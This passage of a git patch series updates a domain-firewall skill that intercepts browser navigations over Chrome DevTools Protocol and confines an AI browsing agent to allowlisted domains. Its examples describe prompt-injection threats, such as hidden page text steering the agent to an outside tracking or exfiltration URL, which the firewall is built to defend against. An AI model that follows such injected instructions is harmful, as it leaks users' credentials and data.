Promise((resolve) => { - client._pending.set(id, resolve); + return new Promise((resolve, reject) => { + client._pending.set(id, { resolve, reject }); }); }, }; @@ -194,8 +194,13 @@ function createCDPClient(ws) { ws.on("message", (raw) => { const msg = JSON.parse(raw.toString()); if (msg.id && client._pending.has(msg.id)) { - client._pending.get(msg.id)(msg.result || msg.error); + const { resolve, reject } = client._pending.get(msg.id); client._pending.delete(msg.id); + if (msg.error) { + reject(new Error(`CDP ${msg.error.message || JSON.stringify(msg.error)}`)); + } else { + resolve(msg.result); + } } }); @@ -234,14 +239,20 @@ async function main() { if (wsUrl.includes("/devtools/browser/")) { const targets = await cdp.send("Target.getTargets"); const page = targets?.targetInfos?.find((t) => t.type === "page"); - if (page) { - const attached = await cdp.send("Target.attachToTarget", { - targetId: page.targetId, - flatten: true, - }); - cdpSessionId = attached.sessionId; - console.error(`[firewall] Attached to page target.`); + if (!page) { + console.error("[firewall] Fatal: no page target found in browser."); + process.exit(1); } + const attached = await cdp.send("Target.attachToTarget", { + targetId: page.targetId, + flatten: true, + }); + if (!attached?.sessionId) { + console.error("[firewall] Fatal: failed to attach to page target."); + process.exit(1); + } + cdpSessionId = attached.sessionId; + console.error(`[firewall] Attached to page target.`); } // Wrap cdp.send to include sessionId when attached via browser target @@ -249,7 +260,7 @@ async function main() { if (cdpSessionId) { const id = cdp._nextId++; ws.send(JSON.stringify({ id, method, params, sessionId: cdpSessionId })); - return new Promise((resolve) => cdp._pending.set(id, resolve)); + return new Promise((resolve, reject) => cdp._pending.set(id, { resolve, reject })); } return cdp.send(method, params); }; @@ -262,7 +273,6 @@ async function main() { console.error(`[firewall] Denylist: ${opts.denylist.join(", ")}`); } console.error(`[firewall] Default: ${opts.defaultVerdict}`); - console.error(`[firewall] Listening for navigations...\n`); // 3. Register handler BEFORE enabling Fetch to avoid missing events // that arrive in the same TCP chunk as the Fetch.enable response @@ -350,6 +360,7 @@ async function main() { // 4. Enable Fetch interception (after handler is registered) await sendCDP("Fetch.enable", { patterns: [{ urlPattern: "*" }] }); + console.error(`[firewall] Listening for navigations...\n`); // 5. Graceful shutdown const cleanup = async () => { From 051bb23f0b8b3a269ec1c9cdafaf3c746562190e Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Fri, 3 Apr 2026 15:49:28 -0700 Subject: [PATCH 13/25] Add real-world use case examples to EXAMPLES.md Replace generic examples with practical scenarios: banking, CRM migration, competitive intelligence, e-commerce monitoring, procurement automation, agent checkout, staging isolation, and HR onboarding. Each shows the exact CLI command and explains why the firewall matters for that use case. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/EXAMPLES.md | 170 ++++++++++++++++++----------- 1 file changed, 105 insertions(+), 65 deletions(-) diff --git a/skills/domain-firewall/EXAMPLES.md b/skills/domain-firewall/EXAMPLES.md index f9d2719..7db4942 100644 --- a/skills/domain-firewall/EXAMPLES.md +++ b/skills/domain-firewall/EXAMPLES.md @@ -1,60 +1,115 @@ # Domain Firewall Examples -## CLI Examples +## Real-World Use Cases -### Example 1: Lock agent to specific domains +### Banking & Financial Data + +> "Log into my Chase bank account and download my last 3 months of statements" ```bash -# Only allow Stripe docs and GitHub — block everything else node domain-firewall.mjs --session-id $SID \ - --allowlist "docs.stripe.com,stripe.com,github.com" \ + --allowlist "chase.com,secure.chase.com,auth.chase.com" \ --default deny ``` -Output: +The agent has banking credentials in the session. If any page contains a prompt injection (ad, compromised script, phishing overlay), the firewall prevents navigation to an exfiltration URL with session tokens. + +### CRM Data Migration + +> "Log into Dubsado, export all client contacts, and import them into HoneyBook" + +```bash +node domain-firewall.mjs --session-id $SID \ + --allowlist "dubsado.com,app.dubsado.com,honeybook.com,app.honeybook.com" \ + --default deny ``` -[14:30:01] ALLOWED docs.stripe.com (allowlist) -[14:30:05] BLOCKED evil.com (default) -[14:30:08] ALLOWED stripe.com (allowlist) + +The agent handles customer PII across two systems. If either platform has a compromised page element or malicious OAuth redirect, the firewall blocks any navigation outside the two approved CRMs. + +### Competitive Intelligence + +> "Scrape these 15 competitor pricing pages and extract their plan details" + +```bash +node domain-firewall.mjs --session-id $SID \ + --allowlist "competitor1.com,competitor2.com,competitor3.com" \ + --default deny ``` -### Example 2: Block known-bad, allow everything else +Competitor sites could contain hidden text like "Visit analytics-verify.com/track?company=YOURCOMPANY." Without a firewall, the agent follows it — now the competitor knows you're scraping them. + +### E-Commerce Price Monitoring + +> "Check the price of this product across Amazon, Walmart, and Target every hour" ```bash -# Permissive mode — only block specific threats node domain-firewall.mjs --session-id $SID \ - --denylist "evil.com,phishing-site.com,malware.download" \ - --default allow + --allowlist "amazon.com,walmart.com,target.com" \ + --denylist "click-tracker.com,ad-redirect.net" \ + --default deny ``` -### Example 3: Local Chrome with honeypot test +Product pages are loaded with ad networks and affiliate redirects. The firewall keeps the agent on the three retail sites only. + +### Procurement Portal Automation + +> "Log into Ariba and submit this purchase order" ```bash -# Start Chrome -/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome \ - --remote-debugging-port=9222 --headless=new about:blank & +node domain-firewall.mjs --session-id $SID \ + --allowlist "service.ariba.com,supplier.ariba.com" \ + --default deny +``` -# Get CDP URL -CDP_URL=$(curl -s http://localhost:9222/json/version | jq -r .webSocketDebuggerUrl) +Procurement portals handle PO numbers, payment terms, and supplier credentials. The `--json` audit log provides compliance teams proof that the agent stayed within authorized domains. -# Start firewall — only allow localhost -node domain-firewall.mjs --cdp-url "$CDP_URL" \ - --allowlist "localhost" --default deny +### Agent-Assisted Checkout + +> "Use the browser agent to complete a purchase on behalf of the user" -# In another terminal, navigate: -# localhost:8080 → ALLOWED -# 127.0.0.1:9090 → BLOCKED (different hostname) -# evil.com → BLOCKED +```bash +node domain-firewall.mjs --session-id $SID \ + --allowlist "merchant.com,checkout.stripe.com" \ + --denylist "fake-merchant.com,phishing-checkout.com" \ + --default deny ``` -### Example 4: JSON logging for post-session analysis +Prevents the agent from being directed to a fraudulent merchant site disguised as the legitimate one — the agent only reaches the real merchant and payment processor. + +### Staging vs Production Isolation + +> "Test the checkout flow on staging with a test credit card" ```bash -# Run firewall with JSON output node domain-firewall.mjs --session-id $SID \ - --allowlist "example.com" --default deny --json > firewall.log & + --allowlist "staging.myapp.com,auth.myapp.com" \ + --denylist "production.myapp.com" \ + --default deny +``` + +Explicitly denylist production so even if a redirect or misconfigured link points there, the agent can't run test transactions against real data. -# ... agent browses ... +### HR Onboarding Automation + +> "Fill out the new hire paperwork on Workday using this offer letter" + +```bash +node domain-firewall.mjs --session-id $SID \ + --allowlist "mycompany.wd5.myworkdaysite.com" \ + --default deny +``` + +The agent has SSN, salary, address, and bank routing numbers. A single malicious redirect could exfiltrate all of it. The firewall limits the agent to only the Workday domain. + +--- + +## CLI Patterns + +### JSON logging for compliance audit + +```bash +node domain-firewall.mjs --session-id $SID \ + --allowlist "example.com" --default deny --json > firewall.log & # Analyze blocked navigations cat firewall.log | jq 'select(.action == "BLOCKED")' @@ -63,7 +118,7 @@ cat firewall.log | jq 'select(.action == "BLOCKED")' cat firewall.log | jq -r 'select(.action == "BLOCKED") | .domain' | sort | uniq -c | sort -rn ``` -### Example 5: Protect a browse CLI session +### Protect a browse CLI session ```bash # Create session @@ -76,9 +131,21 @@ node domain-firewall.mjs --session-id $SESSION_ID \ # Browse normally — firewall is transparent browse open https://docs.stripe.com --session-id $SESSION_ID browse snapshot -# ... agent works ... +``` + +### Local Chrome testing + +```bash +# Start Chrome with debugging +/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome \ + --remote-debugging-port=9222 --headless=new about:blank & + +# Get CDP URL +CDP_URL=$(curl -s http://localhost:9222/json/version | jq -r .webSocketDebuggerUrl) -# Malicious navigation from page content → automatically blocked +# Start firewall +node domain-firewall.mjs --cdp-url "$CDP_URL" \ + --allowlist "localhost" --default deny ``` --- @@ -87,7 +154,7 @@ browse snapshot For developers embedding the firewall directly in Stagehand projects. -### Example 6: Basic Allowlist +### Basic Allowlist ```typescript import { Stagehand } from "@browserbasehq/stagehand"; @@ -110,34 +177,7 @@ await page.goto("https://example.com").catch(() => "blocked"); // blocked await stagehand.close(); ``` -### Example 7: Human-in-the-Loop Approval (stdin) - -```typescript -import * as readline from "readline/promises"; -import { installDomainFirewall, allowlist, interactive } from "./domain-firewall"; - -const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); - -await installDomainFirewall(page, { - policies: [ - allowlist(["en.wikipedia.org"]), - interactive( - async (req) => { - console.log(`\n Agent wants to visit: ${req.domain} (${req.url})`); - const answer = await rl.question(" Allow? (y/n): "); - return answer.trim().toLowerCase().startsWith("y") ? "allow" : "deny"; - }, - { timeoutMs: 60000, onTimeout: "deny" }, - ), - ], - defaultVerdict: "deny", -}); - -// Wikipedia: instant (allowlist). Unknown domain: held → terminal prompts → you decide. -rl.close(); -``` - -### Example 8: Full Policy Chain +### Full Policy Chain ```typescript import { @@ -164,7 +204,7 @@ await installDomainFirewall(page, { ## Tips -- **Policy order is your security model**: denylists first (fail-fast), then allowlists, then broad rules, then interactive as fallback. -- **Subdomain coverage**: `allowlist(["github.com"])` does NOT match `api.github.com`. Use `pattern(["*.github.com"], "allow")` or list subdomains explicitly in the CLI `--allowlist`. -- **Start the firewall before browsing**: install before the first navigation so all requests are intercepted. -- **Audit log**: in code mode, pass `auditLog: []` and check `decidedBy` to see which policy made each decision. In CLI mode, use `--json` and pipe to `jq`. +- **The common thread**: every use case involves an agent with access to sensitive credentials or data, browsing pages it doesn't fully control. One CLI command scopes the blast radius. +- **Include subdomains explicitly**: `--allowlist "chase.com"` does NOT match `secure.chase.com`. List both, or use the TypeScript API with `pattern(["*.chase.com"], "allow")`. +- **Denylist + allowlist together**: denylist is checked first. Use this to block specific bad actors within an otherwise-allowed set. +- **`--json` for compliance**: pipe to a file for post-session audit trails that prove the agent stayed within authorized domains. From 13f43494cf28c7d69719f11dfcec81e362972357 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Fri, 3 Apr 2026 17:00:45 -0700 Subject: [PATCH 14/25] Add --create flag to create protected sessions in one command Instead of two commands (bb sessions create + domain-firewall.mjs), agents can now run: node domain-firewall.mjs --create --allowlist "example.com" This creates a Browserbase session with keepAlive, attaches the firewall, prints the session ID to stdout, and stays running. Auto-detects project ID from BROWSERBASE_PROJECT_ID env var or bb projects list. Co-Authored-By: Claude Opus 4.6 (1M context) --- .../scripts/domain-firewall.mjs | 71 +++++++++++++++++-- 1 file changed, 67 insertions(+), 4 deletions(-) diff --git a/skills/domain-firewall/scripts/domain-firewall.mjs b/skills/domain-firewall/scripts/domain-firewall.mjs index 7089ae8..2a8e436 100644 --- a/skills/domain-firewall/scripts/domain-firewall.mjs +++ b/skills/domain-firewall/scripts/domain-firewall.mjs @@ -26,6 +26,8 @@ function parseArgs() { const opts = { sessionId: null, cdpUrl: null, + create: false, + projectId: null, allowlist: [], denylist: [], defaultVerdict: "deny", @@ -41,6 +43,12 @@ function parseArgs() { case "--cdp-url": opts.cdpUrl = args[++i]; break; + case "--create": + opts.create = true; + break; + case "--project-id": + opts.projectId = args[++i]; + break; case "--allowlist": opts.allowlist = args[++i].split(",").map((d) => normalizeDomain(d.trim())); break; @@ -62,11 +70,14 @@ function parseArgs() { domain-firewall — Protect a browser session with domain policies Usage: + node domain-firewall.mjs --create --allowlist "example.com" [options] node domain-firewall.mjs --session-id [options] node domain-firewall.mjs --cdp-url [options] Options: - --session-id Browserbase session ID + --create Create a new Browserbase session with firewall + --project-id Project ID for --create (or BROWSERBASE_PROJECT_ID) + --session-id Attach to an existing Browserbase session --cdp-url Direct CDP WebSocket URL (for local Chrome) --allowlist Comma-separated allowed domains --denylist Comma-separated denied domains @@ -76,14 +87,15 @@ Options: --help Show this help Environment: - BROWSERBASE_API_KEY Required when using --session-id + BROWSERBASE_API_KEY Required when using --create or --session-id + BROWSERBASE_PROJECT_ID Used by --create if --project-id not specified `); process.exit(0); } } - if (!opts.sessionId && !opts.cdpUrl) { - console.error("[firewall] Error: --session-id or --cdp-url is required"); + if (!opts.sessionId && !opts.cdpUrl && !opts.create) { + console.error("[firewall] Error: --create, --session-id, or --cdp-url is required"); process.exit(1); } @@ -131,6 +143,47 @@ function evaluate(domain, opts) { }; } +// ============================================================================= +// Session creation +// ============================================================================= + +function createBBSession(projectId) { + let pid = projectId || process.env.BROWSERBASE_PROJECT_ID; + if (!pid) { + // Auto-detect from bb projects list + try { + const raw = execFileSync("bb", ["projects", "list"], { + encoding: "utf-8", + timeout: 15000, + stdio: ["pipe", "pipe", "pipe"], + }); + const projects = JSON.parse(raw.trim()); + if (Array.isArray(projects) && projects.length > 0) { + pid = projects[0].id; + } + } catch {} + } + if (!pid) { + console.error("[firewall] Error: --project-id or BROWSERBASE_PROJECT_ID required for --create"); + process.exit(1); + } + try { + const body = JSON.stringify({ projectId: pid, keepAlive: true }); + const raw = execFileSync("bb", ["sessions", "create", "--body", body], { + encoding: "utf-8", + timeout: 30000, + stdio: ["pipe", "pipe", "pipe"], + }); + const data = JSON.parse(raw.trim()); + if (!data.id) throw new Error("No session ID in response"); + return data.id; + } catch (e) { + console.error("[firewall] Failed to create session."); + console.error(`[firewall] ${e.message}`); + process.exit(1); + } +} + // ============================================================================= // CDP WebSocket URL resolution // ============================================================================= @@ -224,6 +277,16 @@ async function main() { console.error("[firewall] Error: BROWSERBASE_API_KEY not set."); process.exit(1); } + + // Create a new session if requested + if (opts.create) { + const sessionId = createBBSession(opts.projectId); + opts.sessionId = sessionId; + // Print session ID to stdout so agents/scripts can capture it + console.log(sessionId); + console.error(`[firewall] Created session ${sessionId}`); + } + console.error(`[firewall] Connecting to session ${opts.sessionId}...`); wsUrl = getCDPUrl(opts.sessionId); } From c90a3127fc3b42f12d7c5ac2d369432bf29bc243 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Fri, 3 Apr 2026 17:02:37 -0700 Subject: [PATCH 15/25] Update docs with --create flag and auto-detect project ID Quick Start, Agent Workflow, CLI Reference, and Examples now lead with --create as the recommended one-command approach. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/EXAMPLES.md | 19 ++++++++++++------- skills/domain-firewall/SKILL.md | 30 +++++++++++++++++++----------- 2 files changed, 31 insertions(+), 18 deletions(-) diff --git a/skills/domain-firewall/EXAMPLES.md b/skills/domain-firewall/EXAMPLES.md index 7db4942..9ac86ea 100644 --- a/skills/domain-firewall/EXAMPLES.md +++ b/skills/domain-firewall/EXAMPLES.md @@ -118,21 +118,26 @@ cat firewall.log | jq 'select(.action == "BLOCKED")' cat firewall.log | jq -r 'select(.action == "BLOCKED") | .domain' | sort | uniq -c | sort -rn ``` -### Protect a browse CLI session +### Protect a browse CLI session (one command) ```bash -# Create session -SESSION_ID=$(bb sessions create --body '{"projectId":"...","keepAlive":true}' | jq -r .id) - -# Enable firewall in background -node domain-firewall.mjs --session-id $SESSION_ID \ +# Create a protected session — prints session ID to stdout +node domain-firewall.mjs --create \ --allowlist "docs.stripe.com,stripe.com" --default deny & +# → 083988e1-91db-417a-a205-a9edcf8e11e7 # Browse normally — firewall is transparent -browse open https://docs.stripe.com --session-id $SESSION_ID +browse open https://docs.stripe.com --session-id 083988e1-... browse snapshot ``` +Or with an existing session: + +```bash +node domain-firewall.mjs --session-id $SESSION_ID \ + --allowlist "docs.stripe.com,stripe.com" --default deny & +``` + ### Local Chrome testing ```bash diff --git a/skills/domain-firewall/SKILL.md b/skills/domain-firewall/SKILL.md index df8077d..e50846a 100644 --- a/skills/domain-firewall/SKILL.md +++ b/skills/domain-firewall/SKILL.md @@ -19,7 +19,14 @@ Protect any Browserbase or local Chrome session from unauthorized navigations. O ## Quick Start ```bash -# Browserbase session +# Create a new protected session (recommended — one command) +node skills/domain-firewall/scripts/domain-firewall.mjs \ + --create \ + --allowlist "docs.stripe.com,stripe.com,github.com" \ + --default deny +# → prints session ID to stdout, stays running with firewall active + +# Attach to an existing Browserbase session node skills/domain-firewall/scripts/domain-firewall.mjs \ --session-id \ --allowlist "docs.stripe.com,stripe.com,github.com" \ @@ -52,22 +59,19 @@ The domain firewall operates at the **protocol level** — below the browser eng The typical workflow for a coding agent using the `browse` CLI: ```bash -# 1. Create a Browserbase session -bb sessions create --body '{"projectId":"...","keepAlive":true}' -# → returns session ID - -# 2. Enable the firewall (runs in background) +# 1. Create a protected session (one command) node skills/domain-firewall/scripts/domain-firewall.mjs \ - --session-id \ + --create \ --allowlist "docs.stripe.com,stripe.com" \ --default deny & +# → prints session ID to stdout, e.g. 083988e1-91db-417a-a205-a9edcf8e11e7 -# 3. Browse normally — firewall is transparent +# 2. Browse normally — firewall is transparent browse open https://docs.stripe.com --session-id browse snapshot # ... agent works normally ... -# 4. If the agent or page tries to navigate to an unlisted domain → BLOCKED +# 3. If the agent or page tries to navigate to an unlisted domain → BLOCKED # Firewall logs the decision to stderr in real-time: # [14:30:05] BLOCKED evil.com (default) ``` @@ -78,11 +82,14 @@ browse snapshot domain-firewall.mjs — Protect a browser session with domain policies Usage: + node domain-firewall.mjs --create --allowlist "example.com" [options] node domain-firewall.mjs --session-id [options] node domain-firewall.mjs --cdp-url [options] Options: - --session-id Browserbase session ID + --create Create a new Browserbase session with firewall + --project-id Project ID for --create (or BROWSERBASE_PROJECT_ID) + --session-id Attach to an existing Browserbase session --cdp-url Direct CDP WebSocket URL (local Chrome) --allowlist Comma-separated allowed domains --denylist Comma-separated denied domains @@ -92,7 +99,8 @@ Options: --help Show help Environment: - BROWSERBASE_API_KEY Required when using --session-id + BROWSERBASE_API_KEY Required when using --create or --session-id + BROWSERBASE_PROJECT_ID Used by --create if --project-id not specified ``` ### Getting the CDP URL From 6906728228b135b8f7319e575e33baa5e9e08077 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Mon, 6 Apr 2026 15:57:19 -0700 Subject: [PATCH 16/25] Wrap async handler in try-catch, validate --default argument Fix 1: Top-level try-catch around the Fetch.requestPaused handler prevents unhandled promise rejections from crashing the process when sendCDP fails (network error, WebSocket closed). On error, attempts fail-closed (deny the request) before logging. Fix 2: --default now validates the value is "allow" or "deny". Previously, invalid values like "maybe" silently behaved as deny. Co-Authored-By: Claude Opus 4.6 (1M context) --- .../scripts/domain-firewall.mjs | 92 +++++++++---------- 1 file changed, 46 insertions(+), 46 deletions(-) diff --git a/skills/domain-firewall/scripts/domain-firewall.mjs b/skills/domain-firewall/scripts/domain-firewall.mjs index 2a8e436..eb89589 100644 --- a/skills/domain-firewall/scripts/domain-firewall.mjs +++ b/skills/domain-firewall/scripts/domain-firewall.mjs @@ -99,6 +99,11 @@ Environment: process.exit(1); } + if (opts.defaultVerdict !== "allow" && opts.defaultVerdict !== "deny") { + console.error(`[firewall] Error: --default must be "allow" or "deny", got "${opts.defaultVerdict}"`); + process.exit(1); + } + return opts; } @@ -340,53 +345,49 @@ async function main() { // 3. Register handler BEFORE enabling Fetch to avoid missing events // that arrive in the same TCP chunk as the Fetch.enable response ws.on("message", async (raw) => { - const msg = JSON.parse(raw.toString()); - // Match events from our attached session or direct page connection - if (msg.method !== "Fetch.requestPaused") return; - if (cdpSessionId && msg.sessionId !== cdpSessionId) return; - - const params = msg.params; - const url = params.request?.url || ""; - const resourceType = params.resourceType || ""; - - // Pass through non-Document resources - if (resourceType !== "Document" && resourceType !== "") { - await sendCDP("Fetch.continueRequest", { requestId: params.requestId }); - return; - } + let requestId; + try { + const msg = JSON.parse(raw.toString()); + // Match events from our attached session or direct page connection + if (msg.method !== "Fetch.requestPaused") return; + if (cdpSessionId && msg.sessionId !== cdpSessionId) return; + + const params = msg.params; + requestId = params.requestId; + const url = params.request?.url || ""; + const resourceType = params.resourceType || ""; + + // Pass through non-Document resources + if (resourceType !== "Document" && resourceType !== "") { + await sendCDP("Fetch.continueRequest", { requestId }); + return; + } - // Pass through internal URLs - if (url.startsWith("chrome") || url.startsWith("about:")) { - await sendCDP("Fetch.continueRequest", { requestId: params.requestId }); - return; - } + // Pass through internal URLs + if (url.startsWith("chrome") || url.startsWith("about:")) { + await sendCDP("Fetch.continueRequest", { requestId }); + return; + } - // Extract domain — fail-closed on parse error - let domain; - try { - domain = normalizeDomain(new URL(url).hostname); - } catch { - await sendCDP("Fetch.failRequest", { - requestId: params.requestId, - errorReason: "BlockedByClient", - }); - if (!opts.quiet) { - console.log(`[${ts()}] BLOCKED (unparseable URL)`); + // Extract domain — fail-closed on parse error + let domain; + try { + domain = normalizeDomain(new URL(url).hostname); + } catch { + await sendCDP("Fetch.failRequest", { requestId, errorReason: "BlockedByClient" }); + if (!opts.quiet) { + console.log(`[${ts()}] BLOCKED (unparseable URL)`); + } + return; } - return; - } - // Evaluate policy - try { + // Evaluate policy const result = evaluate(domain, opts); if (result.action === "ALLOWED") { - await sendCDP("Fetch.continueRequest", { requestId: params.requestId }); + await sendCDP("Fetch.continueRequest", { requestId }); } else { - await sendCDP("Fetch.failRequest", { - requestId: params.requestId, - errorReason: "BlockedByClient", - }); + await sendCDP("Fetch.failRequest", { requestId, errorReason: "BlockedByClient" }); } // Log @@ -410,14 +411,13 @@ async function main() { } } } catch (err) { - // Fail-closed: deny on error to avoid hanging the browser - await sendCDP("Fetch.failRequest", { - requestId: params.requestId, - errorReason: "BlockedByClient", - }); - if (!opts.quiet) { - console.log(`[${ts()}] BLOCKED ${domain.padEnd(30)} (error: ${err.message})`); + // Last-resort: try to unblock the request so the browser doesn't hang + if (requestId) { + try { + await sendCDP("Fetch.failRequest", { requestId, errorReason: "BlockedByClient" }); + } catch {} } + console.error(`[firewall] Handler error: ${err.message}`); } }); From b1303f693c853f7db051fa8c3c83931fcf73afc6 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Mon, 6 Apr 2026 15:57:26 -0700 Subject: [PATCH 17/25] Clarify that CLI uses exact domain matching, not globs The --allowlist flag does exact string matching only. Glob/wildcard patterns like *.stripe.com only work in the TypeScript API's pattern() policy. Updated Best Practices and Examples to make this explicit and show how to list subdomains. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/EXAMPLES.md | 2 +- skills/domain-firewall/SKILL.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/skills/domain-firewall/EXAMPLES.md b/skills/domain-firewall/EXAMPLES.md index 9ac86ea..6fdc662 100644 --- a/skills/domain-firewall/EXAMPLES.md +++ b/skills/domain-firewall/EXAMPLES.md @@ -210,6 +210,6 @@ await installDomainFirewall(page, { ## Tips - **The common thread**: every use case involves an agent with access to sensitive credentials or data, browsing pages it doesn't fully control. One CLI command scopes the blast radius. -- **Include subdomains explicitly**: `--allowlist "chase.com"` does NOT match `secure.chase.com`. List both, or use the TypeScript API with `pattern(["*.chase.com"], "allow")`. +- **Include subdomains explicitly**: The CLI does exact domain matching — `--allowlist "chase.com"` does NOT match `secure.chase.com`. List each subdomain: `--allowlist "chase.com,secure.chase.com,auth.chase.com"`. For glob/wildcard matching, use the TypeScript API's `pattern()` policy. - **Denylist + allowlist together**: denylist is checked first. Use this to block specific bad actors within an otherwise-allowed set. - **`--json` for compliance**: pipe to a file for post-session audit trails that prove the agent stayed within authorized domains. diff --git a/skills/domain-firewall/SKILL.md b/skills/domain-firewall/SKILL.md index e50846a..a7f5aac 100644 --- a/skills/domain-firewall/SKILL.md +++ b/skills/domain-firewall/SKILL.md @@ -209,7 +209,7 @@ cat firewall.log | jq 'select(.action == "BLOCKED")' 1. **Start the firewall before browsing** — run `domain-firewall.mjs` before the first `browse open` so all navigations are intercepted from the start. 2. **Include your starting URL's domain** — the allowlist must include the domain you navigate to first, otherwise it will be blocked. -3. **Include subdomains explicitly** — `stripe.com` and `docs.stripe.com` are separate domains. List both, or use the code API with `pattern(["*.stripe.com"], "allow")` for glob matching. +3. **Include subdomains explicitly in `--allowlist`** — `stripe.com` and `docs.stripe.com` are separate domains. The CLI does exact domain matching, so list each subdomain: `--allowlist "stripe.com,docs.stripe.com,api.stripe.com"`. For glob/wildcard matching (e.g. `*.stripe.com`), use the TypeScript API's `pattern()` policy. 4. **Denylist takes priority** — a domain on both the denylist and allowlist will be denied. 5. **Use `--json` for programmatic analysis** — pipe to `jq` or save to a file for post-session review. 6. **Use `--default deny` for high-security tasks** — only explicitly allowed domains pass through. This is the default. From 827fd8aa7e194ffe303b612e85558e1e76dc4da6 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Mon, 6 Apr 2026 16:18:48 -0700 Subject: [PATCH 18/25] Auto-release session on shutdown when created with --create When the firewall created the session (--create), it now calls bb sessions update --status REQUEST_RELEASE on SIGINT/SIGTERM. Sessions attached via --session-id are left alone since another client owns their lifecycle. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/scripts/domain-firewall.mjs | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/skills/domain-firewall/scripts/domain-firewall.mjs b/skills/domain-firewall/scripts/domain-firewall.mjs index eb89589..3a8cc94 100644 --- a/skills/domain-firewall/scripts/domain-firewall.mjs +++ b/skills/domain-firewall/scripts/domain-firewall.mjs @@ -432,6 +432,17 @@ async function main() { await sendCDP("Fetch.disable"); } catch {} ws.close(); + // If we created the session, release it + if (opts.create && opts.sessionId) { + try { + execFileSync("bb", ["sessions", "update", opts.sessionId, "--status", "REQUEST_RELEASE"], { + encoding: "utf-8", + timeout: 10000, + stdio: ["pipe", "pipe", "pipe"], + }); + console.error(`[firewall] Released session ${opts.sessionId}`); + } catch {} + } process.exit(0); }; From 9fa2b204add9b98a3606a74cb0d7c76b47c689fe Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Tue, 7 Apr 2026 10:01:12 -0700 Subject: [PATCH 19/25] Revert --create flag: keep session creation in the CLI MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The --create flag mixed session lifecycle management with firewall policy attachment. Session creation is the BB CLI's job (bb sessions create), and the firewall script's job is attaching policies to a live session. This keeps each tool's responsibility clear for agents. Removed: --create, --project-id, createBBSession(), session release on shutdown. The two-step workflow is now the only path: bb sessions create → domain-firewall.mjs --session-id Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/EXAMPLES.md | 19 ++--- skills/domain-firewall/SKILL.md | 37 ++++----- .../scripts/domain-firewall.mjs | 82 +------------------ 3 files changed, 27 insertions(+), 111 deletions(-) diff --git a/skills/domain-firewall/EXAMPLES.md b/skills/domain-firewall/EXAMPLES.md index 6fdc662..d6eb9ac 100644 --- a/skills/domain-firewall/EXAMPLES.md +++ b/skills/domain-firewall/EXAMPLES.md @@ -118,26 +118,21 @@ cat firewall.log | jq 'select(.action == "BLOCKED")' cat firewall.log | jq -r 'select(.action == "BLOCKED") | .domain' | sort | uniq -c | sort -rn ``` -### Protect a browse CLI session (one command) +### Protect a browse CLI session ```bash -# Create a protected session — prints session ID to stdout -node domain-firewall.mjs --create \ +# Create a session +SESSION_ID=$(bb sessions create --body '{"projectId":"...","keepAlive":true}' | jq -r .id) + +# Attach the firewall in background +node domain-firewall.mjs --session-id $SESSION_ID \ --allowlist "docs.stripe.com,stripe.com" --default deny & -# → 083988e1-91db-417a-a205-a9edcf8e11e7 # Browse normally — firewall is transparent -browse open https://docs.stripe.com --session-id 083988e1-... +browse open https://docs.stripe.com --session-id $SESSION_ID browse snapshot ``` -Or with an existing session: - -```bash -node domain-firewall.mjs --session-id $SESSION_ID \ - --allowlist "docs.stripe.com,stripe.com" --default deny & -``` - ### Local Chrome testing ```bash diff --git a/skills/domain-firewall/SKILL.md b/skills/domain-firewall/SKILL.md index a7f5aac..8adc0c1 100644 --- a/skills/domain-firewall/SKILL.md +++ b/skills/domain-firewall/SKILL.md @@ -19,20 +19,17 @@ Protect any Browserbase or local Chrome session from unauthorized navigations. O ## Quick Start ```bash -# Create a new protected session (recommended — one command) -node skills/domain-firewall/scripts/domain-firewall.mjs \ - --create \ - --allowlist "docs.stripe.com,stripe.com,github.com" \ - --default deny -# → prints session ID to stdout, stays running with firewall active +# 1. Create a Browserbase session +bb sessions create --body '{"projectId":"...","keepAlive":true}' +# → returns session ID -# Attach to an existing Browserbase session +# 2. Attach the firewall node skills/domain-firewall/scripts/domain-firewall.mjs \ --session-id \ --allowlist "docs.stripe.com,stripe.com,github.com" \ --default deny -# Local Chrome (with --remote-debugging-port=9222) +# Or for local Chrome (with --remote-debugging-port=9222): node skills/domain-firewall/scripts/domain-firewall.mjs \ --cdp-url "ws://localhost:9222/devtools/browser/..." \ --allowlist "localhost,example.com" \ @@ -59,19 +56,21 @@ The domain firewall operates at the **protocol level** — below the browser eng The typical workflow for a coding agent using the `browse` CLI: ```bash -# 1. Create a protected session (one command) +# 1. Create a Browserbase session +SESSION_ID=$(bb sessions create --body '{"projectId":"...","keepAlive":true}' | jq -r .id) + +# 2. Attach the firewall (runs in background) node skills/domain-firewall/scripts/domain-firewall.mjs \ - --create \ + --session-id $SESSION_ID \ --allowlist "docs.stripe.com,stripe.com" \ --default deny & -# → prints session ID to stdout, e.g. 083988e1-91db-417a-a205-a9edcf8e11e7 -# 2. Browse normally — firewall is transparent -browse open https://docs.stripe.com --session-id +# 3. Browse normally — firewall is transparent +browse open https://docs.stripe.com --session-id $SESSION_ID browse snapshot # ... agent works normally ... -# 3. If the agent or page tries to navigate to an unlisted domain → BLOCKED +# 4. If the agent or page tries to navigate to an unlisted domain → BLOCKED # Firewall logs the decision to stderr in real-time: # [14:30:05] BLOCKED evil.com (default) ``` @@ -82,25 +81,21 @@ browse snapshot domain-firewall.mjs — Protect a browser session with domain policies Usage: - node domain-firewall.mjs --create --allowlist "example.com" [options] node domain-firewall.mjs --session-id [options] node domain-firewall.mjs --cdp-url [options] Options: - --create Create a new Browserbase session with firewall - --project-id Project ID for 